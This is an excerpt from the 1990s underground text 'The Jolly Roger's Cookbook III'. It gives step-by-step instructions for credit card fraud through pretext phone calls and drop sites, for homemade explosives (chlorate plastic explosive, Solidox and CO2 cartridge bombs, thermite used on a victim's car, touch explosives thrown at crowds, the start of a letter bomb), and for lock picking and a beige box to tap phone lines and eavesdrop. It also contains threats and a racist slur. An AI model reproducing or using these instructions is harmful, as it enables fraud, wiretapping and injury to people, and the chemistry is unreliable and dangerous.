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Hello! Welcome to the Jolly Roger's Cookbook III! I hope that 
this collection of text files has enough info to keep you hackers 
busy for awhile (at least until the next update!). As I gather 
information | will keep adding it and uploading it to my "home 
base" bbs's in different cities with additional numbered files, 
and an updated index that you can just replace the old one with. 


Thanks for taking the time to read this file, by the way. There are 
a few things that I want to say about the Cookbook. 


1) If l ever find out that anyone has omitted my name from 
anywhere in these files withoutmy expressed permission, then I 
will immediately stop doing any updates and I will release your 
name to as many boards that I can find, urging them to put you on 
their Black List. I also, will FIND YOU! (I think you can see from 
the knowledge base contained in this collection that I DO possess 
the capability! You will wish it were the FEDS and not me!) In 
other words, be careful who you give this collection to. Of, 

course there are idiots (probably the same ones who write 

viruses!) that will misuse this information and kill some people 

or get themselves & you into a lot of trouble! So keep this 

treasure chest buried and only dig it up for those that you can 
TRUST! Also you would be screwing yourself, because I still have 
all kinds of things that I can put in here for updates, and you will 
NEVER see them if I quit updating because of some asshole. So 
think about it. If you WANT the updates (info you would probably 
have a helluva time finding elsewhere!), then STAY COOL with it. 


2) 1 was going to encrypt these files and load/print them from 
within an encrypted program. However, I have decided against that 
for these reasons: 


Pad 


a) It would then be machine-exclusive 
b) It would show that I don't trust you. 
c) Only Atari ST users would ever see it. 


So I decided on keeping it ASCII. ANY machine that can read ASCII 
files can now read these. 


3) Please do not use my handle to gain access to boards. you never 
know where I might show up and I will have to find you and deal 


with you if I ever see it. Don't make me do this. 


4) By releasing this database I am taking a real chance on you 

people. I sure as hell don't want MY house blown up with a paint or 
Solidox bomb! And I am sure that you don't want yours blown up 
either (or your credit cards used for tha matter). So I have to 

stress again: BE FUCKING CAREFUL WHO YOU GIVE THIS TO!! 


That is all for now. If ever have to update this, it will just be 
in the update archive as file 000.doc. Just replace the old one. 


Ok... here it is... long awaited v2.0... what a bitch it was for me to 

put this shit together. Hell, over 6 months to put the update shit 

together. Anyway, response was cool, nobody fucked with the rulez above. 
Iam glad. This allows me to continue the updates. You should find it 
worth the wait. 


God, there is so much more to do. As you can probably see, this database 
is getting quite huge. And I have not even begun to tap the resources | 
have available to me. I can easily over the next year or so make this 

thing grow to 1600k or more..... so as long as DON'T find this on a 

p/d bbs, and I DO see it being spread around the proper channels, as 
LONG as you guys keep bugging me for an update, and finally, as long as 
the rulez above are kept,I shall continue. 


What you have in your disk drive right now is some of the most dangerous 
knowledge ever unleashed on the computer underground. Use it wisely. 
The really JUICY stuff will come in Cookbook v3.0, but let's see how 

this one goes across, shall we? The Blotto box should be enough to see 
how responsible you all are... 


Enjoy this database! A lot more to come!!! ----------- The Jolly Roger 


note to all warring pirates and the so-called "groups" 
(You know who you are...): 


FUCK YOU! You are all assholes. Acting like fucking babies like trading 
software was your fucking life or something. Like you have some big name 
or something. Do you realize that nobody gives a flying fuck about you 


in the real world? I have been a pirate for over 10 years, and have over 
4000 ST programs, over 2000 IBM programs, over 2500 Macintosh programs, 
and over 500 Amiga programs (& I do not even own an Amigal).... and you 
do not see me kissing ass on the bbs's, or making a deal out of someone 

not "liking" me..... boo-fucking-hoo!! I really do not care. You see, 

the difference between you and me is that I do this for fun. I see no 

other reason to pursue a “hobby” but FOR fun. I hate the fucking 

politics & shit. ] give my stuff freely. It all comes back to me. 

It just makes me sick when I am on the bbs's and I see these little baby 
games about who did what, and who stole what loader, or re-crack, or 
whatever. | AM AN original pirate. Ist generation. Not anything like you 
baby-shit assholes. Excuse me but I had this boiling in me for a long 

time. The ST world is so small that what little we do have we destroy 

from within. And we blame Jack for it. Fuck, maybe that is the only 

thing we agree on. Anyway, where is the hacking spirit? The giving? The 
free will? Why all of the fucking ego's? It should be obvious by now 

that I have no interest whatsoever in ego-tripping. You can like me or 

hate me. But I will always be here. -------------- Jolly Roger 
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Ah..version III. Well, I never thought for a minute that version 
11 would turn out to be so popular! Well, I am proud to announce 
version III, and can assure you that a version I'V is in the works! 
As a student, however, I cannot say when it will be ready...but 
what the hell...it will be a long time, I am sure, before you run 
out of "toys" to play with. 


Lots of interesting new reading for you in this version! A Special 
thanks to CREDITMAN, who lives in the UK and contributed an 
excellent article on carding in the UK. It is great reading. 


Now, I would like to say a few words to those who insist on 
yanking my chain (or is it dick?) in the message bases here in the 
U.S.: "Whatever, dudes!" 


Now that was a few words, eh? Ok, I am debating on a new format 
for Cookbook IV...something with easier access. Hell, this index 
idea worked just fine when the cookbook was small, but now it is 
getting quite large and the articles are getting quite 
numerous...and--who knows? My laziness tells me to stick with it. 
I just might do that! 


Well, the files spilled over onto two disks, so I figured I would 
include some ST-specific "goodies". They are in a file on disk B 
called "Goodie.Bag" and contain a few rarities and a few 
essentials. Some will find most interesting, most will find some 
interesting, a few may find none interesting. Oh, well. 


If anybody has any comments (there always is a few slags--take 
your best shot!) then drop me a line in the usual places that one 
can find me. If you do not know where those places are, then I am 
sorry. It just wasn't meant to be. Ha Ha! 


All who oppose me and my ideas and/or the group that I participate 

in can bugger off. Sure, yeah, I steal a lot of things--I am a 

pirate after all. but so do you, and don't forget it. It is 

ridiculous to call a thief a thief when it is a thief doing the 

accusing. Grow up. This Cookbook is done for no other reason but 

to share with EVERYONE ELITE some of the underground and often 
illegal as hell information that I have gathered, researched, and 
labored to locate, type, and write/compose. At least give me 

credit for that, Anyone whom I call asshole deserves it in my eyes 

for only one reason: there is not ONE DAMN THING redeeming that | 
can find to compliment them on!! For example, Automation slagged 
me for the R.C.A Slag Show II, I turned around and told them to 

piss off on that, and then said that their cd's are getting 

better. What kind of "kid" (a 24 year old one) would do that 

anyway? Certainly not the TOI, that's for sure! Oh, well, fuck it 
anyways. We are all going to die in Iraq soon enough anyway....- 


Enjoy and spread! Contribute if you can! Information should be 
free (that's why I turned down an offer to publish portions of 
this thing!!! 


EERE een eR eee Jolly Roger 


Credit Card Fraud brought to you by The Jolly Roger 
For most of you out there, money is hard to come by. Until now: 


With the recent advent of plastic money (credit cards), it is 

easy to use someone else's credit card to order the items you have 
always desired in life. The stakes are high, but the payoff is 
worth it. 


Step One: Getting the credit card information 


First off, you must obtain the crucial item: someone's credit 

card number. The best way to get credit card numbers is to take 
the blue carbons used in a credit card transaction at your local 
department store. These can usually be found in the garbage can 
next to the register, or for the more daring, in the garbage 
dumpster behind the store. But, due to the large amount of credit 
card fraud, many stores have opted to use a carbonless transaction 
sheet, making things much more difficult. This is where your 
phone comes in handy. 


First, look up someone in the phone book, and obtain as much 
information as possible about them. Then, during business hours, 
call in a very convincing voice - "Hello, this is John Doe from 
the Visa Credit Card Fraud Investigations Department. We have 
been informed that your credit card may have been used for 
fraudulent purposes, so will you please read off the numbers 
appearing on your Visa card for verification." Of course, use 
your imagination! Believe it or not, many people will fall for 
this ploy and give out their credit information. 


Now, assuming that you have your victim's credit card number, you 
should be able to decipher the information given. 


Step Two: Recognizing information from carbon copies 
Card examples: 


[American Express] 

XXXXK XXXXXK XXXKX 
MM/Y1 THRU MM/Y2 
JOE SHMOE 


[American Express] 

XXXX XXXXXXK XXXKX 
MM/Y1 THRU MM/Y2 
JOE SHMOE 


Explanation: 
MM/Y1 is the date the card was issued, and MM/Y2 is the 
expiration date. The American Express Gold Card has numbers 
XXXXXX XXXXXXXXK XXXXXXXX, and is covered for up to $5000.00, 
even if the card holder is broke. 


[Mastercard] 

SXXX XXKX XXXX XXXX 
XXXX AAA DD-MM-YY MM/YY 
JOE SHMOE 


Explanation: 
XXXX in the second row may be asked for during the ordering 
process. The first date is when the card was new, and the 
second is when the card expires. The most frequent number 
combination used is 5424 1800 XXXX XXXX. There are many of 
these cards in circulation, but many of these are on wanted 
lists, so check these first. 


[Visa] 

4XXX XXX(X) XXX(X) XXX(X) 
MM/YY MM/YY*VISA 

JOE SHMOE 


Explanation: 
Visa is the most abundant card, and is accepted almost 
everywhere. The "* VISA” is sometimes replaced with "BWG", or 
followed with a special code. These codes are as follows: 


[tL] MM/YY*VISA V - Preferred Card 
[2] MM/YY*VISA CV - Classic Card 
[3] MM/YY*VISA PV - Premier Card 


Preferred Cards are backed with money, and are much safer to 

use, Classic Cards are newer, harder to reproduce cards with 

decent backing. Premier Cards are Classic Cards with Preferred 

coverage. Common numbers are 4448 020 XXX XXX, 4254 5123 6000 
XXXX, and 4254 5123 8500 XXXX. Any 4712 1250 XXXX XXXX cards 
are IBM Credit Union cards, and are risky to use, although 

they are usually covered for large purchases. 


Step Three: Testing credit 


You should now have a Visa, Mastercard, or American Express 
credit card number, with the victim's address, zip code, and phone 
number. By the way, if you have problems getting the address, 
most phone companies offer the Address Tracking Service, which is 
a special number you call that will give you an address from a 
phone number, at a nominal charge. Now you need to check the 
balance of credit on the credit card (to make sure you don't run 

out of money), and you must also make sure that the card isn’t 


stolen. To do this you must obtain a phone number that 
businesses use to check out credit cards during purchases. If you 
go to a department store, watch the cashier when someone makes a 
credit card purchase. He/she will usually call a phone number, 
give the credit information, and then give what is called a 
"Merchant Number". These numbers are usually written down on or 
around the register. It is easy to either find these numbers and 
copy them, or to wait until they call one in. Watch what they 

dial and wait for the 8 digit (usually) merchant number. Once you 
call the number, in a calm voice, read off the account number, 
merchant number, amount, and expiration date. The credit bureau 
will tell you if it is ok, and will give you an authorization 

number. Pretend you are writing this number down, and repeat it 
back to them to check it. Ignore this number completely, for it 
serves no real purpose. However, once you do this, the bank 
removes dollars equal to what you told them, because the card was 
supposedly used to make a purchase. Sometimes you can trick the 
operator by telling her the customer changed his mind and decided 
not to charge it. Of course, some will not allow this. Remember 
at all times that you are supposed to be a store clerk calling to 
check out the card for a purchase. Act like you are talking with 

a customer when he/she "cancels". 


Step Four: The drop 


Once the cards are cleared, you must find a place to have the 
package sent. NEVER use a drop more than once. The following are 
typical drop sites: 


[1] An empty house 


An empty house makes an excellent place to send things. Send the 
package UPS, and leave a note on the door saying, "UPS. I work 
days, 8 to 6. Could you please leave the package on the back door 
step?” You can find dozens of houses from a real estate agent by 
telling them you want to look around for a house. Ask for a list 

of twenty houses for sale, and tell them you will check out the 
area, Do so, until you find one that suits your needs. 


[2] Rent A Spot 


U-Haul sometimes rents spaces where you can have packages sent and 
signed for. End your space when the package arrives. 


[3] People’s houses 


Find someone you do not know, and have the package sent there. 
Call ahead saying that "I called the store and they sent the 
package to the wrong address. It was already sent, but can you 
keep it there for me?" This is a very reliable way if you keep 
calm when talking to the people. 


Do NOT try post office boxes. Most of the time, UPS will not 
deliver to a post office box, and many people have been caught in 
the past attempting to use a post office box. Also, when you have 
determined a drop site, keep an eye on it for suspicious 

characters and cars that have not been there before. 


Step Five: Making the transaction 


You should now have a reliable credit card number with all the 
necessary billing information, and a good drop site. 


The best place to order from is catalogues, and mail order houses. 
It is in your best interest to place the phone call from a pay 

phone, especially if it is a 1-800 number. Now, when you call, 
don't try to disguise your voice, thinking you will trick the 
salesperson into believing you are an adult. These folks are 
trained to detect this, so your best bet is to order in your own 
voice, They will ask for the following: name, name as it appears 
on card, phone number, billing address, expiration date, method of 
shipping, and product. Ask if they offer UPS Red shipping (next 
day arrival), because it gives them less time to research an 

order. If you are using American Express, you might have a bit of 
m problem shipping to an address other than the billing address. 
Also, if the salesperson starts to ask questions, do NOT hang up. 
Simply talk your way out of the situation, so you won't encourage 
investigation on the order. 


If everything goes right, you should have the product, free of 
charge. Insurance picks up the tab, and no one is any wiser. Be 
careful, and try not to order anything over $500. In some states, 
UPS requires a signature for anything over $200, not to mention 
that anything over $200 is defined as grand theft, as well as 

credit fraud. Get caught doing this, and you will bite it fora 
couple of years. Good luck! 

Making Plastic Explosives from Bleach by The Jolly Roger 


Potassium chlorate is an extremely volatile explosive compound, 
and has been used in the past as the main explosive filler in 
grenades, land mines, and mortar rounds by such countries as 


France and Germany. Common household bleach contains a small 
amount of potassium chlorate, which can be extracted by the 
procedure that follows. 


First off, you must obtain: 


1] A heat source (hot plate, stove, etc.) 

2] A hydrometer, or battery hydrometer 

3] A large Pyrex, or enameled steel container (to weigh 
chemicals) 

[4] Potassium chloride (sold as a salt substitute at health and 

nutrition stores) 


Take one gallon of bleach, place it in the container, and begin 
heating it. While this solution heats, weigh out 63 grams of 
potassium chloride and add this to the bleach being heated. 
Constantly check the solution being heated with the hydrometer, 
and boil until you get a reading of 1.3. If using a battery 
hydrometer, boil until you read a FULL charge. 


Take the solution and allow it to cool in a refrigerator until it 

is between room temperature and 0 degrees Celcius. Filter out the 
crystals that have formed and save them. Boil this solution again 
and cool as before. Filter and save the crystals. 


Take the crystals that have been saved, and mix them with 
distilled water in the following proportions: 56 grams per 100 
milliliters distilled water. Heat this solution until it boils 

and allow to cool. Filter the solution and save the crystals that 
form upon cooling. This process of purification is called 
"fractional crystalization". These crystals should be relatively 
pure potassium chlorate. 


Powder these to the consistency of face powder, and heat gently to 
drive off all moisture. 


Now, melt five parts Vaseline with five parts wax. Dissolve this 
in white gasoline (camp stove gasoline), and pour this liquid on 
90 parts potassium chlorate (the powdered crystals from above) 
into a plastic bowl. Knead this liquid into the potassium 
chlorate until intimately mixed. Allow all gasoline to evaporate. 


Finally, place this explosive into a cool, dry place. Avoid 
friction, sulfur, sulfides, and phosphorous compounds. This 
explosive is best molded to the desired shape and density of 1.3 


grams in a cube and dipped in wax until water proof. These block 
type charges guarantee the highest detonation velocity. Also, a 
blasting cap of at least a 3 grade must be used. 


The presence of the afore mentioned compounds (sulfur, sulfides, 

etc.) results in mixtures that are or can become highly sensitive 

and will possibly decompose explosively while in storage. You 

should never store homemade explosives, and you must use EXTREME 
caution at all times while performing the processes in this 

article. 


You may obtain a catalog of other subject of this nature by 
writing: 


Information Publishing Co. 
Box 10042 
Odessa, Texas 79762 


Picking Master Locks by The Jolly Roger 


Have you ever tried to impress someone by picking one of those 
Master combination locks and failed? 


The Master lock company made their older combination locks with a 
protection scheme. Ifyou pull the handle too hard, the knob will 
not turn. That was their biggest mistake. 


The first number: 


Get out any of the Master locks so you know what is going on. 
While pulling on the clasp (part that springs open when you get 

the combination right), turn the knob to the left until it will 

not move any more, and add five to the number you reach. You now 
have the first number of the combination. 


The second number: 


Spin the dial around a couple of times, then go to the first 
number you got. Turn the dial-to the right, bypassing the first 
number once. When you have bypassed the first number, start 
pulling on the clasp and turning the knob. The knob will 
eventually fall into the groove and lock. While in the groove, 
pull the clasp and turn the knob. If the knob is loose, go to the 
next groove, if the knob is stiff, you have the second number of 
the combination. 


The third number: 


After getting the second number, spin the dial, then enter the two 
numbers. Slowly spin the dial to the right, and at each number, 
pull on the clasp. The lock will eventually open if you did the 
process right. 


This method of opening Master locks only works on older models. 
Someone informed Master of their mistake, and they employed a new 
mechanism that is foolproof (for now). 


The Arts of Lockpicking I courtesy of The Jolly Roger 
Lockpicking I: Cars and assorted other locks 


While the basic themes of lockpicking and uninvited entry have not 
changed much in the last few years, some modern devices and 
techniques have appeared on the scene. 


Automobiles: 


Many older automobiles can still be opened with a Slim Jim type of 
opener (these and other auto locksmithing techniques are covered 
fully in the book "In the Still of the Night", by John Russell 

IID); however, many car manufacturers have built cases over the 
lock mechanism, or have moved the lock mechanism so the Slim Jim 
will not work. So: 


American Locksmith Service 
P.O. Box 26 
Culver City, CA 90230 


ALS offers a new and improved Slim Jim that is 30 inches long and 
3/4 inches wide, so it will both reach and slip through the new 

car lock covers (inside the door). Price is $5.75 plus $2.00 

postage and handling. 


Cars manufactured by General Motors have always been a bane to 
people who needed to open them, because the sidebar locking unit 
they employ is very difficult to pick. To further complicate 

matters, the new GM cars employ metal shields to make the use of a 
Slim Jim type instrument very difficult. So: 


Lock Technology Corporation 
685 Main St. 


New Rochelle, NY 10801 


LTC offers a cute little tool which will easily remove the lock 
cylinder without harm to the vehicle, and will allow you to enter 
and/or start the vehicle. The GMC-40 sells for $56.00 plus $2.00 
for postage and handling. 


The best general automobile opening kit is probably a set of 
lockout tools offered by: 


Steck MFG Corporation 
1319 W. Stewart St. 
Dayton, OH 45408 


For $29.95 one can purchase a complete set of six carbon lockout 
tools that will open more than 95% of all the cars around. 


Kwickset locks have become quite popular as one step security 
locks for many types of buildings. They are a bit harder to pick 
and offer a higher degree of security than a normal builder 
installed door lock. So: 


A MFG 
1151 Wallace St. 
Massilon, OH 44646 


Price is $11.95, Kwickset locks can handily be disassembled and 
the door opened without harm to either the lock or the door by 
using the above mentioned Kwick Out tool. 


If you are too lazy to pick auto locks: 


Veehof Supply 
Box 361 
Storm Lake, IO 50588 


VS sells tryout keys for most cars (tryout keys are used since 
there is no one master key for any one make of car, but there are 
group type masters (a.k.a. tryout keys). Prices average about 
$20.00 a set. 


Updated Lockpicking: 


For years, there have been a number of pick attack procedures for 
most pin and tumbler lock systems. In reverse order of ease they 


are as follows: 


Normal Picking: Using a pick set to align the pins, one by one, 
until the shear line is set and the lock opens. 


Racking: This method uses picks that are constructed with a 
series of bumps, or diamond shape notches. These picks 
are "raked" (i.e. run over all the pins at one time). 

With luck, the pins will raise in the open position and 
stay there. Raking, if successful, can be much less of 
an effort than standard picking. 


Lock Aid Gun: This gun shaped device was invented a number of 
years ago and has found application with many 
locksmiths and security personnel. Basically, a 
needle shaped pick is inserted in the snout of the 
"gun", and the "trigger" is pulled. This action 
snaps the pick up and down strongly. Ifthe tip is 
slipped under the pins, they will also be snapped 
up and down strongly. With a bit of luck they will 
strike each other and separate at the shear line 
for a split second. When this happens the lock 
will open. The lock aid gun is not 100% 
successful, but when it does work, the results are 
very dramatic. You can sometimes open the lock 
with one snap of the trigger. 


Vibrator: Some crafty people have mounted a needle pick into an 
electric toothbrush power unit. This vibrating effect 
will sometimes open pin tumbler locks -- instantly. 


There is now another method to open pin and wafer locks in a very 
short time. Although it resembles a toothbrush pick in 
appearance, it is actually an electronic device. I am speaking of 
the Cobra pick that is designed and sold by: 


Fed Corporation 
P.O. Box 569 
Scottsdale, AR 85252 


The Cobra uses two nine volt batteries, teflon bearings (for less 
noise), and a cam roller. It comes with three picks (for 

different types of locks) and works both in America and overseas, 
on pin or wafer locks. The Cobra will open group one locks 
(common door locks) in three to seven seconds with no damage, in 


the hands of an experienced locksmith. It can take a few seconds 
more or up to a half a minute for someone with no experience at 
all. It will also open group two locks (including government, 
high security, and medecos), although this can take a short time 
longer. It will not open GM sidear locks, although a device is 
about to be introduced to fill that gap. How much for this toy 
that will open most locks in seven seconds? 


$235.00 plus $4.00 shipping and handling. 


For you hard core safe crackers, FC also sells the MI-6 that will 
open most safes at a cost of $10,000 for the three wheel attack 
model, and $10,500 for the four wheel model. It comes in a sturdy 
aluminum carrying case with monitor, disk drive and software. 


If none of these safe and sane ideas appeal to you, you can always 
fall back on the magic thermal lance... 


The thermal lance is a rather crude instrument constructed from 
3/8 inch hollow magnesium rods, Each tube comes in a 10 foot 
length, but can be cut down if desired. Each one is threaded on 
one end. To use the lance, you screw the tube together with a 
matted regulator (like a welding outfit uses) and hook up an 
oxygen tank. Then oxygen is turned on and the rod is lit with a 
standard welding ignitor. The device produces an incredible 
amount of heat. It is used for cutting up concrete blocks or even 
rocks. An active lance will go through a foot of steel in a few 
seconds, The lance is also known as a burning bar, and is 
available from: 


C.0.L. MFG 

7748 W. Addison 

Chicago, IL 60634 

The Arts of Lockpicking IT courtesy of The Jolly Roger 


So you want to be a criminal. Well, if you want to be like James 
Bond and open a lock in fifteen seconds, then go to Hollywood, 
because that is the only place you are ever going to do it. Even 
experienced locksmiths can spend five to ten minutes on a lock if 
they are unlucky, If you are wanting extremely quick access, look 
elsewhere. The following instructions will pertain mostly to the 
"lock in knob" type lock, since it is the easiest to pick. 


First of all, you need a pick set. If you know a locksmith, get 
him to make you a set. This will be the best possible set for you 


to use. If you find a locksmith unwilling to supply a set, don't 
give up hope. It is possible to make your own, if you have access 
to a grinder (you can use a file, but it takes forever). 


The thing you need is an allen wrench set (very small). These 
should be small enough to fit into the keyhole slot. Now, bend 
the long end of the allen wrench at a slight angle (not 90 
degrees). Now, take your pick to a grinder or a file, and smooth 
the end until it is rounded so it won't hang inside the lock. 

Test your tool out on doorknobs at your house to see if it will 
slide in and out smoothly. Now, this is where the screwdriver 
comes in. It must be small enough for it and your pick to be used 
in the same lock at the same time, one above the other. In the 
coming instructions, please refer to this chart of the interior of 
a lock: 


\K 
Illi] | | 72 
bose AY (|] Upper tumbler pin 
Rh /H [4] Lower tumbler pin 


DSBS INT I. INS NG) [-] Cylinder wall 
/L (This is a greatly simplified 
\E drawing) 
/ 


The object is to press the pin up so that the space between the 
upper pin and the lower pin is level with the cylinder wall. Now, 
if you push a pin up, it’s tendency is to fall back down, right? 
That is where the screwdriver comes in. Insert the screwdriver 
into the slot and turn. This tension will keep the "solved" pins 
from falling back down. Now, work from the back of the lock to 
the front, and when you are through, there will be a click, the 
screwdriver will turn freely, and the door will open. 


Do not get discouraged on your first try! It will probably take 
you about twenty to thirty minutes your first time. After that, 
you will quickly improve with practice. 

Solidox Bombs by The Jolly Roger 


Most people are not aware that a volatile, extremely explosive 
chemical can be bought over the counter: Solidox. 


Solidox comes in an aluminum can containing 6 grey sticks, and can 
be bought at Kmart, and various hardware supply shops for around 
$7.00, Solidox is used in welding applications as an oxidizing 


agent for the hot flame needed to melt metal. The most active 
ingredient in Solidox is potassium chlorate, a filler used in many 
military applications in the WWII era. 


Since Solidox is literally what the name says: SOLID OXygen, you 
must have an energy source for an explosion. The most common and 
readily available energy source is common household sugar, or 
sucrose. In theory, glucose would be the purest energy source, 

but it is hard to find a solid supply of glucose. 


Making the mixture: 


1] Open the can of Solidox, and remove all 6 sticks. One by 
one, grind up each of the sticks (preferably with a mortar 
and pestle) into the finest powder possible. 

2] The ratio for mixing the sugar with the Solidox is 1:1, so 
weigh the Solidox powder, and grind up the equivalent amount 
of sugar. 

3] Mix equivalent amounts of Solidox powder, and sugar ina 1:1 
ratio. 


i 


It is just that simple! You now have an extremely powerful 
substance that can be used in a variety of applications. A word 

of caution: be EXTREMELY careful in the entire process. Avoid 
friction, heat, and flame. A few years back, a teenager I knew 
blew 4 fingers off while trying to make a pipe bomb with Solidox. 
You have been warned! 

High Tech Revenge: The Beigebox rev.2 by The Jolly Roger 


Have you ever wanted a lineman's handset? Surely every phreak has at 

least once considered the phun-that he could have with one. After searching 
unlocked phone company trucks for months, we had an idea. We could build 
one. We did, and named it the "Beige Box” simply because that is the color 
of ours. 

The beigebox is simply a consumer lineman's handset, which is a 

phone that can be attached to the outside of a person's house. To 

fabricate a beigebox, follow along. 


The construction is very simple. First you must understand the concept of 
the device. In a modular jack, there are four wires. These are red, green, 
yellow, and black. For a single line telephone, however, only two matter: 
the red (ring) and green (tip). The yellow and the black are not neccessary 
for this project. A lineman's handset has two clips on it: the ring and 


the tip. Take a modular jack and look at the bottom of it's casing. There 
should be a grey jack with four wires (red, green, yellow & black) 
leading out of it. To the end of the red wire attach a red aligator clip. 

To the end of the green wire attatch a green aligator clip. The yellow 

and black wires can be removed, although I would only set them aside so 
that you can use the modular jack in future projects. Now insert your 
telephone’'s modular plug into the modular jack. That's it. This particular 
model is nice because it is can be easily made, is inexpensive, uses 
common parts that are readily available, is small, is lightweight, 

and does not require the destruction of a phone. 


There are many uses for a Beige Box. However, before you can use it, 

you must know how to attach it to the output device. This device can be 
of any of Bell switching apparatus that include germinal sets (i.e. 

remote switching centers, bridgin heads, cans, etc.). To open most Bell 
Telephone switching apparatus, you must have a 7/16 inch hex driver 

(or a good pair of needle nose pliers work also). 

This piece of equipment can be picked up at your local hardware store. 
With your hex driver (or pliers), turn the security bolt(s) approximately 

1/8 of an inch counter-clockwise and open. If your output device is locked, 
then you must have some knowledge of destroying and/or picking locks. 
However, we have never encountered a locked output device. Once you have 
opened your output device, you should see a mass of wires connected to 
terminals. On most output devices, the terminals should be labeled "T" 
(Tip -- if not labeled, it is usually on the left) and "R" (Ring -- if 

not labeled, usually on the right). 


Remember: Ring - red - right. The "Three R's" -- a simple way to 
remember which is which. Now you must attach all the red alligator clip 
(Ring) to the "R" (Ring) terminal. 

Attach the green alligator clip (Tip) to the "T" (Tip) terminal. 


Note: If instead of a dial tone you hear nothing, adjust the alligator 

clips so that they are not touching each other terminals. Also make sure 
they are firmly attached. By this time you should hear a dial tone. 

Dial ANI to find out the number you are using (you wouldn't want to use 
your own). Here are some practicle aplications: 


> Eavesdropping 

> Long distance, static free free fone calls to phriends 

> Dialing direct to Alliance Teleconferencing (also no static) 
> Phucking people over 

> Bothering the operator at little risk to yourself 

> Blue Boxing with greatly reduced chance of getting caught 


> Anything at all you want, since you are on an extension of that line. 


Eavesdropping 

To be most effective, first attach the Beige Box then your phone. This 
eliminates the static caused by connecting the box, therefore 

reducing the potential suspicion of your victim. When eavesdropping, 

it is allways best to be neither seen nor heard. If you hear someone 
dialing out, do not panic; but rather hang up, wait, and pick up the 
receiver again. The person will either have hung up or tried to complete 
their call again. If the latter is true, then listen in, and perhaps you 

will find information worthy of blackmail! If you would like to know who 
you are listening to, after dialing ANI, pull a CN/A on the number. 


Dialing Long Distance 
This section is self explanitory, but don't forget to dial a "1" before 
the NPA. 


Dialing Direct to Aliance Teleconferencing 

Simply dial 0-700-456-1000 and you will get instructions from there. 

I prefer this method over PBX's, since PBX's often have poor reception 
and are more dificult to come by. 


Phucking People Over 

This is a very large topic of discussion. Just by using the other topics 
described, you can create a large phone bill for the person (they will 
not have to pay for it, but it will be a big hassle for them). In addition, 
since you are an extension of the person's line, you can leave your 
phone off the hook, and they will not be able to make or receive calls. 
This can be extremely nasty because no one would expect the cause 
of the problem. 

Bothering the Operator 

This is also self explanitary and can provide hours of entertainment. 
Simply ask her things that are offensive or you would not like traced 
to your line. This also corresponds to the previously described section, 
Phucking People Over. After all, guess who's line it gets traced to? 
He he he... 


Blue Boxing 


See a file on Blue Boxing for more details. This is an especially nice 


feature if you live in an ESS-equiped prefix, since the calls are, once 
again, not traced to your line... 


---POTENTIAL RISKS OF BEIGE BOXING---- 
Overuse of the Beige Box may cause suspicians within the Gestapo, 
and result in legal problems. Therefor, | would recomend you: 


> Choose a secluded spot to do your Beige Boxing, 

> Use more than one output device 

> Keep a low profile (i.e., do not post under your real 
name on a public BBS concering your occomplishments) 

> In order to make sure the enemy has not been inside your output 
device, ] recomend you place a piece of transparent tape over 
the opening of your output device. Therefor, if it is 
opened in your abscence, the tapge will be displaced and 
you will be aware of the fact that someone has intruded 
on your teritory. 


Now, imagine the possibilities: a $2000 dollar phone bill for 
that special person, 976 numbers galore, even harassing the 
operator at no risk to you! Think of it as walking into an 
enemies house, and using their phone to your heart's content. 


woeneneee Jolly Roger 
How to make a CO2 bomb by the Jolly Roger 


You will have to use up the cartridge first by either shooting it 

or whatever. With a nail, force a hole bigger so as to allow the 
powder and wick to fit in easily. Fill the cartridge with black 
powder and pack it in there real good by tapping the bottom of the 
cartridge on a hard surface (I said TAP not SLAM!). Insert a fuse. 
I recommend a good water-proof cannon fuse, or an m-80 type fuse, 
but firecracker fuses work, if you can run like a black man runs 
from the cops after raping a white girl.) Now, light it and run 

like hell! It does wonders for a row of mailboxes (like the ones 

in apartment complexes), a car (place under the gas tank), a 
picture window (place on window sill), a phone booth (place right 
under the phone), or any other devious place. This thing throws 
shrapnel, and can make quit a mess!! -Jolly Roger- 


Thermite IL... or A better way to make Thermite by Jolly Roger 


Thermite is nasty shit. Here is a good and easy way to make it. 


The first step is to get some iron-oxide (which is RUST!). Here is 
a good way to make large quantities in a short time: 


- Get a DC convertor like the one used on a train set. Cut the 
connector off, seperate the wires, and strip them both. 


- Now you need a jar of water with a tablespoon or so of sodium 
chloride (which is SALT!) added to it. This makes the water 
conductive. 


- Now insert both wires into the mixture (J am assuming you 
plugged the convertor in...) and let them sit for five minutes, 
One of them will start bubbling more than the other. This is the 
POSITIVE(+) wire. If you do not do this test right, the final 
product will be the opposite (chemically) of rust, which is RUST 
ACID, You have no use for this here (although it IS useful!). 


- Anyway, put the nail tied to the positive wire into the jar, Now 
put the negative wire in the other end. Now let it sit overnight 
and in the morning scrape the rust off of the nail & repeat until 
you got a bunch of rust on the bottom of the glass. Be generous 
with your rust collection. If you are going through the trouble of 
making thermite, you might as well make a lot, right? 


- Now remove the excess water and pour the crusty solution onto a 
cookie sheet. Dry it in the sun for a few hours, or inside 

overnight. It should be an orange-brown color (although I have 
seen it in many different colors! Sometimes the color gets fucked 
up, what can I say... but it is still iron oxide!) 


- Crush the rust into a fine powder and heat it in a cast-iron pot 

until it is red. Now mix the pure iron oxide with pure alluminum 
filinos which can be bought or filed down by hand from an aluminum 
tube or bar. The ratio or iron oxide to aluminum is 8 grams to 3 
grams. 


- Congrats! You have just made THERMITE! Now, to light it... 


- Thermite requires a LOT of heat (more than a blow torch!) to 
ignite. However, a magnesium ribbon (which is sorta hard to find.. 
call around) will do the trick. It takes the heat from the 

burning magnesium to light the thermite. 


- Now when you see your victim's car, pour a fifty-cent sized pile 
onto his hood, stick the ribbon in it, and light the ribbon with 


the blow torch. Now chuckle as you watch it burn through the hood, 
the block, the axle, and the pavement. BE CAREFUL! The ideal 
mixtures can vaporize CARBON STEEL! Another idea is to use 
thermite to get into pay phone cash boxes. HAVE FUN!! -Jolly Roger- 


Touch Explosives by the Jolly Roger 


This is sort of a mild explosive, but it can be quite dangerous in 
large quantities. To make touch explosive (such as that found in a 
snap-n-pop, but more powerful), use this recipe: 


- Mix iodine crystals into ammonia until the iodine crystals will 

not dissolve into the ammonia anymore. Pour off the excess ammonia 
and dry out the crystals on a baking sheet the same way as you 

dried the thermite (in other words, just let it sit overnight!). 


- Be careful now because these crystals are now your touch 
explosive. Carefully wrap a bunch in paper (I mean carefully! 
Friction sets 'em off!) and throw them around.. pretty loud, huh? 
They are fun to put on someone's chair. Add a small fish sinker to 
them and they can be thrown a long distance (good for crowds, 
football games, concerts, etc.) Have fun! -Jolly Roger- 


Letter Bombs by The Jolly Roger 


- You will first have to make a mild version of thermite. Use my 
recipe, but substitute iron fillings for rust. 


